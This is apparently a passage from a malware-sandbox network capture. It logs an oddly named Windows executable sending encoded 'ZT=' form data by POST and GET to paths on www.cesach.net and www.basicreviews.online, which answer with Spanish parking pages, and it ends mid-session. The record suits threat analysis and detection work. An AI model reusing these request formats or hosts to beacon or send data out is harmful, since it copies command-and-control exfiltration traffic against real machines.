
Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50045	217.76.156.252	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:12:59.292188883 CET	724	OUT	POST /dma3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.cesach.net Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 219 Connection: close Origin: http://www.cesach.net Referer: http://www.cesach.net/dma3/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 46 6a 6e 76 53 31 58 48 45 44 5a 6f 2b 74 44 59 45 33 54 44 66 36 52 37 6e 31 71 68 43 6b 7a 37 6e 6b 66 2b 67 6c 5a 56 75 67 4f 4b 41 31 4b 6c 78 56 2b 51 67 6f 41 71 65 73 58 54 44 38 35 47 71 6d 39 32 37 75 4b 34 6e 58 76 6d 72 6f 36 50 39 66 44 46 6d 45 4a 4f 56 6c 64 65 59 51 63 73 55 45 56 6f 34 5a 64 6a 41 47 36 4a 62 44 44 54 32 44 57 63 33 62 50 61 37 6b 53 33 64 37 65 4f 4a 48 73 61 31 73 70 47 31 4c 56 4f 54 44 44 4f 46 33 64 4e 4e 78 35 6f 34 32 42 69 73 37 49 4f 4e 43 57 7a 6e 39 62 5a 77 6b 49 51 39 52 34 48 31 56 78 7a 72 75 62 4e 42 33 34 37 62 36 64 4b 34 62 57 77 39 6f 50 4b 73 49 6d 34 32 79 63 74 33 35 65 55 4b 43 55 3d Data Ascii: ZT=FjnvS1XHEDZo+tDYE3TDf6R7n1qhCkz7nkf+glZVugOKA1KlxV+QgoAqesXTD85Gqm927uK4nXvmro6P9fDFmEJOVldeYQcsUEVo4ZdjAG6JbDDT2DWc3bPa7kS3d7eOJHsa1spG1LVOTDDOF3dNNx5o42Bis7IONCWzn9bZwkIQ9R4H1VxzrubNB347b6dK4bWw9oPKsIm42yct35eUKCU=
Oct 30, 2024 08:13:00.169521093 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 07:13:00 GMT Server: Apache X-ServerIndex: llim603 Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 61 39 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 73 73 2f 70 61 72 6b 69 6e 67 32 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f [TRUNCATED] Data Ascii: 1a9b<!DOCTYPE HTML><html lang="es"><head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" /> <title>www.cesach.net</title> <meta name="description" content="" /> <link rel="stylesheet" href="https://piensasolutions.com/css/parking2.css"> <link href='https://fonts.googleapis.com/css?family=Exo' rel='stylesheet' type='text/css'> <meta id="theWidth" name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <script> window.onload = function () { if(screen.width <= 420) { var mvp = document.getElementById('theWidth'); mvp.setAttribute('content','width=400'); } } </script></head><body>... client --><header> <div class="center" style="color:#;border-color:#;"> <div class="title"> <img src="https://piensasolutions.com/imgs/parking/icon-parking.png"> <p>Esta es la página de:</p> [TRUNCATED]
Oct 30, 2024 08:13:00.169542074 CET	212	IN	Data Raw: 3c 68 31 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 43 4f 4d 49 45 4e 5a 41 5f 54 45 58 54 4f 5f 52 45 47 49 53 54 52 41 4e 54 45 2d 2d 3e Data Ascii: <h1>www.cesach.net</h1> </div> ...COMIENZA_TEXTO_REGISTRANTE-->...TERMINA_TEXTO_REGISTRANTE--> ...COMIENZA_COMENTARIO-->...TERMINA_COMENTARIO--> ...COMIENZA_PIE_PERSONAL--
Oct 30, 2024 08:13:00.169559956 CET	1236	IN	Data Raw: 3e 3c 21 2d 2d 54 45 52 4d 49 4e 41 5f 50 49 45 5f 50 45 52 53 4f 4e 41 4c 2d 2d 3e 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 63 6b 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d Data Ascii: >...TERMINA_PIE_PERSONAL--> </div> <div class="back" style="background-color:#;"></div></header>... end client -->... foot -->...COMIENZA_PIE_POR_DEFECTO--><section class="search"> <div class="center"> <di
Oct 30, 2024 08:13:00.169579983 CET	1236	IN	Data Raw: 63 74 6f 73 20 65 6e 20 6c 61 20 70 61 72 74 65 20 69 6e 66 65 72 69 6f 72 2e 3c 2f 70 3e 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 3c 2f 61 73 69 64 65 3e 0d 0a 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 73 69 6d 70 6c 65 22 3e 0d 0a 20 20 Data Ascii: ctos en la parte inferior.</p> </div></aside><section class="simple"> <span>Nuestros Productos</span> <div class="line"> <div class="center"> <a href="https://www.piensasolutions.com/web-sencilla?utm_so
Oct 30, 2024 08:13:00.169595957 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 69 6d 67 73 2f 70 61 72 6b 69 6e 67 2f 69 63 6f 6e 2d 77 65 62 2e 70 6e 67 22 3e 0d 0a 20 Data Ascii: <img src="https://piensasolutions.com/imgs/parking/icon-web.png"> <h2>MI PÁGINA WEB</h2> <p>Diseña tu propia página web de forma profesional y de una manera rápida y s
Oct 30, 2024 08:13:00.169610023 CET	636	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6d 70 6c 65 78 22 3e 0d 0a 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 69 65 6e 73 61 73 6f 6c 75 Data Ascii: </div></section><section class="complex"> <a href="https://www.piensasolutions.com/dominios?utm_source=parking&utm_medium=link&utm_campaign=dominiosblock"> <span>Registro de dominios</span> <p>Te ofrecemos si
Oct 30, 2024 08:13:00.169625998 CET	1236	IN	Data Raw: 52 4c 20 66 69 6a 61 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 69 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 6f 6b 22 3e 3c 2f 69 3e 20 46 69 6c 74 72 6f 20 41 6e 74 69 73 70 61 6d 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 Data Ascii: RL fija</li> <li><i class="icon-ok"></i> Filtro Antispam</li> <li><i class="icon-ok"></i> 5 Cuentas de correo redirigido</li> </ul> </a></section><footer> <a class="logo" href="https://www.piens
Oct 30, 2024 08:13:00.169758081 CET	12	IN	Data Raw: 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50046	217.76.156.252	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:13:01.882767916 CET	10806	OUT	POST /dma3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.cesach.net Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10299 Connection: close Origin: http://www.cesach.net Referer: http://www.cesach.net/dma3/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 46 6a 6e 76 53 31 58 48 45 44 5a 6f 2b 74 44 59 45 33 54 44 66 36 52 37 6e 31 71 68 43 6b 7a 37 6e 6b 66 2b 67 6c 5a 56 75 67 47 4b 42 41 65 6c 77 32 6d 51 6d 59 41 71 66 73 58 53 44 38 35 68 71 69 52 79 37 75 47 43 6e 56 6e 6d 78 4e 75 50 30 4c 58 46 6f 45 4a 4f 61 46 64 66 46 67 64 73 55 45 46 73 34 64 78 6a 41 47 36 4a 62 43 7a 54 31 58 36 63 6b 4c 50 5a 73 55 53 42 5a 37 65 32 4a 48 6b 4b 31 73 74 34 31 37 31 4f 55 6a 54 4f 47 46 31 4e 4f 52 35 71 78 6d 42 71 73 37 4d 56 4e 43 4b 2f 6e 39 48 33 77 6e 55 51 75 30 5a 68 6f 56 4d 73 77 39 2f 71 61 33 49 62 61 61 39 77 39 5a 75 32 73 4c 6a 31 2b 70 36 33 37 6a 4d 6e 69 4c 65 6a 66 43 68 6f 55 2f 4d 32 43 41 4a 71 6d 32 67 4e 73 51 2f 71 49 62 34 72 6d 50 41 53 47 32 34 58 78 53 49 30 6c 41 68 50 76 4c 2f 44 6c 42 31 2b 72 4d 2b 52 63 53 73 72 43 35 6e 30 39 69 4d 59 69 31 46 5a 2f 69 4f 67 32 6d 68 47 57 37 79 42 63 49 68 4e 58 46 50 6b 66 70 39 51 45 72 75 51 39 59 67 67 64 65 33 48 33 41 69 50 38 61 31 39 41 34 62 2f 37 56 53 50 43 4f 70 [TRUNCATED] Data Ascii: ZT=FjnvS1XHEDZo+tDYE3TDf6R7n1qhCkz7nkf+glZVugGKBAelw2mQmYAqfsXSD85hqiRy7uGCnVnmxNuP0LXFoEJOaFdfFgdsUEFs4dxjAG6JbCzT1X6ckLPZsUSBZ7e2JHkK1st4171OUjTOGF1NOR5qxmBqs7MVNCK/n9H3wnUQu0ZhoVMsw9/qa3Ibaa9w9Zu2sLj1+p637jMniLejfChoU/M2CAJqm2gNsQ/qIb4rmPASG24XxSI0lAhPvL/DlB1+rM+RcSsrC5n09iMYi1FZ/iOg2mhGW7yBcIhNXFPkfp9QEruQ9Yggde3H3AiP8a19A4b/7VSPCOpJu1LAfbAiT/Cfbb136Q2GWVK/M9+JTIUiDhEUDJWdLlU2P+pmSvWAURpvEjst0FpjHGCa/A38TrdwqkZG77s9MnApXmt4Ahao1bXTk/aN1Nh/H1mP9b4T3GmaRXQd6CQnipvf58purtJbsB6Ymptp4mj5o0kwJgk6++atE0lBhYghCzbqgzzcob9JTXXmRmtuet1zBhgPOiXgUTumwa65tqYeFAMI5rVh5tk6g9g5IxMbXekdxrzpqlVPUSjBcm45Z3fZ3/9G4XQuPjYZpQ7wgBv6JJM0vAkppH/UVp+d5RmcBTcRR7ALAGx73as7jYzU25wuWsAQsiqNcrFF2P9DZceTi4pOIxXhsGZSjE/kLxC1Ey+1sGwYbCVfP1jC50YuuCWwbhuy1OnLp7/KVPyKpYVi3FZ83WyUaNcEPFwa04YvKaI0A4nZns2+3qJqRAEkUChzlEEVcAUG8DszZ5P3aqrBSuchalX0gDXciC+3zk9hXdrLHVUAsJMSC7+Ogsx39tFfyYZCAr4x2a1iBsaWG1wOD0P3liwsTNtVOezmfnaokRMJaj7v9BbPwa8rcbU/AM7ZzKh/dUYhfymlGzxapWNeIwjE8m+kBZ7/UUJRnVXZoDZVZS8jYKhXyYpj6US6glCUji/9AnbVCqDW9uNC0/5wDxQec9MBV [TRUNCATED]
Oct 30, 2024 08:13:02.751676083 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 07:13:02 GMT Server: Apache X-ServerIndex: llim604 Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 61 39 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 73 73 2f 70 61 72 6b 69 6e 67 32 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f [TRUNCATED] Data Ascii: 1a9b<!DOCTYPE HTML><html lang="es"><head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" /> <title>www.cesach.net</title> <meta name="description" content="" /> <link rel="stylesheet" href="https://piensasolutions.com/css/parking2.css"> <link href='https://fonts.googleapis.com/css?family=Exo' rel='stylesheet' type='text/css'> <meta id="theWidth" name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <script> window.onload = function () { if(screen.width <= 420) { var mvp = document.getElementById('theWidth'); mvp.setAttribute('content','width=400'); } } </script></head><body>... client --><header> <div class="center" style="color:#;border-color:#;"> <div class="title"> <img src="https://piensasolutions.com/imgs/parking/icon-parking.png"> <p>Esta es la página de:</p> [TRUNCATED]
Oct 30, 2024 08:13:02.751720905 CET	1236	IN	Data Raw: 3c 68 31 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 43 4f 4d 49 45 4e 5a 41 5f 54 45 58 54 4f 5f 52 45 47 49 53 54 52 41 4e 54 45 2d 2d 3e Data Ascii: <h1>www.cesach.net</h1> </div> ...COMIENZA_TEXTO_REGISTRANTE-->...TERMINA_TEXTO_REGISTRANTE--> ...COMIENZA_COMENTARIO-->...TERMINA_COMENTARIO--> ...COMIENZA_PIE_PERSONAL-->...TERMINA_PIE_PERSONAL-->
Oct 30, 2024 08:13:02.751734018 CET	424	IN	Data Raw: 6d 2f 69 6d 67 73 2f 70 61 72 6b 69 6e 67 2f 69 63 6f 6e 2d 64 65 73 70 6c 65 67 61 72 2e 6a 70 67 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 70 61 6e 3e 57 45 42 20 41 4c 4f 4a 41 44 41 20 45 4e 20 50 49 45 4e 53 41 20 53 4f 4c 55 54 49 4f 4e 53 Data Ascii: m/imgs/parking/icon-desplegar.jpg"> <span>WEB ALOJADA EN PIENSA SOLUTIONS</span> <p>Si quieres obtener más información para crear tu propio proyecto online, consulta nuestros productos en la parte inferior.</p>
Oct 30, 2024 08:13:02.751749039 CET	1236	IN	Data Raw: 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 77 65 62 2d 73 65 6e 63 69 6c 6c 61 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 70 61 72 6b 69 6e 67 26 61 6d 70 3b 75 74 6d 5f 6d 65 64 69 75 6d 3d 6c 69 6e 6b 26 61 6d 70 3b 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 77 Data Ascii: lutions.com/web-sencilla?utm_source=parking&utm_medium=link&utm_campaign=web-sencilla"><article> <img src="https://piensasolutions.com/imgs/parking/icon-web-sencilla.png"> <h2>WEB SENCILLA</h2>
Oct 30, 2024 08:13:02.751784086 CET	1236	IN	Data Raw: 64 65 20 75 6e 61 20 6d 61 6e 65 72 61 20 72 26 61 61 63 75 74 65 3b 70 69 64 61 20 79 20 73 65 6e 63 69 6c 6c 61 2e 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 3e 76 65 72 20 6d 26 61 61 63 75 74 65 3b Data Ascii: de una manera rápida y sencilla.</p> <button>ver más</button> </article></a> <a href="https://www.piensasolutions.com/certificado-ssl?utm_source=parking&utm_medium=link&utm_campa
Oct 30, 2024 08:13:02.751796007 CET	424	IN	Data Raw: 61 6e 3e 0d 0a 20 20 20 20 20 20 20 20 3c 70 3e 54 65 20 6f 66 72 65 63 65 6d 6f 73 20 73 69 65 6d 70 65 20 65 6c 20 6d 65 6a 6f 72 20 70 72 65 63 69 6f 3a 20 64 65 73 64 65 20 65 6c 20 70 72 69 6d 65 72 20 64 26 69 61 63 75 74 65 3b 61 20 79 20 Data Ascii: an> <p>Te ofrecemos siempe el mejor precio: desde el primer día y desde el primer dominio. Además tu dominio incluye:</p> <ul> <li><i class="icon-ok"></i> Página de presentación config
Oct 30, 2024 08:13:02.751864910 CET	1236	IN	Data Raw: 52 4c 20 66 69 6a 61 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 69 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 6f 6b 22 3e 3c 2f 69 3e 20 46 69 6c 74 72 6f 20 41 6e 74 69 73 70 61 6d 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 Data Ascii: RL fija</li> <li><i class="icon-ok"></i> Filtro Antispam</li> <li><i class="icon-ok"></i> 5 Cuentas de correo redirigido</li> </ul> </a></section><footer> <a class="logo" href="https://www.piens
Oct 30, 2024 08:13:02.751876116 CET	12	IN	Data Raw: 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50047	217.76.156.252	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:13:04.452014923 CET	443	OUT	GET /dma3/?mTkD=Gj2Ti2T0g4&ZT=IhPPRAmDChEnx8G5Mk3wYKJVvliqClSy7lT3/i9hniKwN2WP3nmtzIAyaYX2MoR3jQRU/NaT7iTCvd3O/fPSuEFMVnQWNGAOAVxjgpJaGw2AUh+P10Czoew= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.cesach.net Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Oct 30, 2024 08:13:05.362108946 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 07:13:05 GMT Server: Apache X-ServerIndex: llim605 Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 61 39 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 73 73 2f 70 61 72 6b 69 6e 67 32 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f [TRUNCATED] Data Ascii: 1a9b<!DOCTYPE HTML><html lang="es"><head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" /> <title>www.cesach.net</title> <meta name="description" content="" /> <link rel="stylesheet" href="https://piensasolutions.com/css/parking2.css"> <link href='https://fonts.googleapis.com/css?family=Exo' rel='stylesheet' type='text/css'> <meta id="theWidth" name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <script> window.onload = function () { if(screen.width <= 420) { var mvp = document.getElementById('theWidth'); mvp.setAttribute('content','width=400'); } } </script></head><body>... client --><header> <div class="center" style="color:#;border-color:#;"> <div class="title"> <img src="https://piensasolutions.com/imgs/parking/icon-parking.png"> <p>Esta es la página de:</p> [TRUNCATED]
Oct 30, 2024 08:13:05.362154961 CET	212	IN	Data Raw: 3c 68 31 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 43 4f 4d 49 45 4e 5a 41 5f 54 45 58 54 4f 5f 52 45 47 49 53 54 52 41 4e 54 45 2d 2d 3e Data Ascii: <h1>www.cesach.net</h1> </div> ...COMIENZA_TEXTO_REGISTRANTE-->...TERMINA_TEXTO_REGISTRANTE--> ...COMIENZA_COMENTARIO-->...TERMINA_COMENTARIO--> ...COMIENZA_PIE_PERSONAL--
Oct 30, 2024 08:13:05.362165928 CET	1236	IN	Data Raw: 3e 3c 21 2d 2d 54 45 52 4d 49 4e 41 5f 50 49 45 5f 50 45 52 53 4f 4e 41 4c 2d 2d 3e 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 63 6b 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d Data Ascii: >...TERMINA_PIE_PERSONAL--> </div> <div class="back" style="background-color:#;"></div></header>... end client -->... foot -->...COMIENZA_PIE_POR_DEFECTO--><section class="search"> <div class="center"> <di
Oct 30, 2024 08:13:05.362178087 CET	1236	IN	Data Raw: 63 74 6f 73 20 65 6e 20 6c 61 20 70 61 72 74 65 20 69 6e 66 65 72 69 6f 72 2e 3c 2f 70 3e 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 3c 2f 61 73 69 64 65 3e 0d 0a 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 73 69 6d 70 6c 65 22 3e 0d 0a 20 20 Data Ascii: ctos en la parte inferior.</p> </div></aside><section class="simple"> <span>Nuestros Productos</span> <div class="line"> <div class="center"> <a href="https://www.piensasolutions.com/web-sencilla?utm_so
Oct 30, 2024 08:13:05.362191916 CET	424	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 69 6d 67 73 2f 70 61 72 6b 69 6e 67 2f 69 63 6f 6e 2d 77 65 62 2e 70 6e 67 22 3e 0d 0a 20 Data Ascii: <img src="https://piensasolutions.com/imgs/parking/icon-web.png"> <h2>MI PÁGINA WEB</h2> <p>Diseña tu propia página web de forma profesional y de una manera rápida y s
Oct 30, 2024 08:13:05.362206936 CET	1236	IN	Data Raw: 70 3b 75 74 6d 5f 6d 65 64 69 75 6d 3d 6c 69 6e 6b 26 61 6d 70 3b 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 73 73 6c 22 3e 3c 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 Data Ascii: p;utm_medium=link&utm_campaign=ssl"><article> <img src="https://piensasolutions.com/imgs/parking/icon-ssl-parking.png"> <h2>CERTIFICADO SSL</h2> <p>Confianza y seguridad para tu web. Con u
Oct 30, 2024 08:13:05.362221003 CET	1236	IN	Data Raw: 61 20 64 65 20 70 72 65 73 65 6e 74 61 63 69 26 6f 61 63 75 74 65 3b 6e 20 63 6f 6e 66 69 67 75 72 61 62 6c 65 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 69 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 6f 6b 22 3e 3c 2f 69 Data Ascii: a de presentación configurable</li> <li><i class="icon-ok"></i> Directivas "Meta" para mejorar tu posicionamiento SEO</li> <li><i class="icon-ok"></i> Redirección Web con URL fija</li> <li><
Oct 30, 2024 08:13:05.362294912 CET	224	IN	Data Raw: 22 20 74 69 74 6c 65 3d 22 53 c3 ad 67 75 65 6e 6f 73 20 65 6e 20 47 6f 6f 67 6c 65 2b 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2e 2f 69 6d 67 2f 69 63 6f 6e 2d 67 70 6c 75 73 2d 73 6d 61 6c 6c 2e Data Ascii: " title="Sguenos en Google+"> <img src="./img/icon-gplus-small.png"></div>Google+</a> </li>--> </ul></footer>...TERMINA_PIE_POR_DEFECTO-->... end foot --></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50048	144.76.190.39	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:13:10.728018045 CET	731	OUT	POST /3xn5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.basicreviews.online Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 199 Connection: close Origin: http://www.basicreviews.online Referer: http://www.basicreviews.online/3xn5/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 73 4a 2f 62 2f 49 4b 58 52 70 43 6c 31 68 78 44 4d 67 6c 77 68 2f 33 66 39 6e 2f 33 54 36 52 35 52 51 4a 30 4c 52 55 50 67 45 6b 43 54 37 45 35 32 35 2b 79 41 76 43 46 63 6a 55 67 55 56 47 69 71 77 6c 51 55 35 5a 75 32 2b 59 30 76 6b 49 31 35 6a 53 31 68 41 6f 39 63 58 39 70 61 31 33 39 57 65 34 42 66 6d 50 50 74 78 33 36 7a 5a 56 39 2f 57 51 2f 39 2b 71 47 6c 44 6b 79 63 43 31 38 54 42 37 68 71 74 4d 4e 4c 78 66 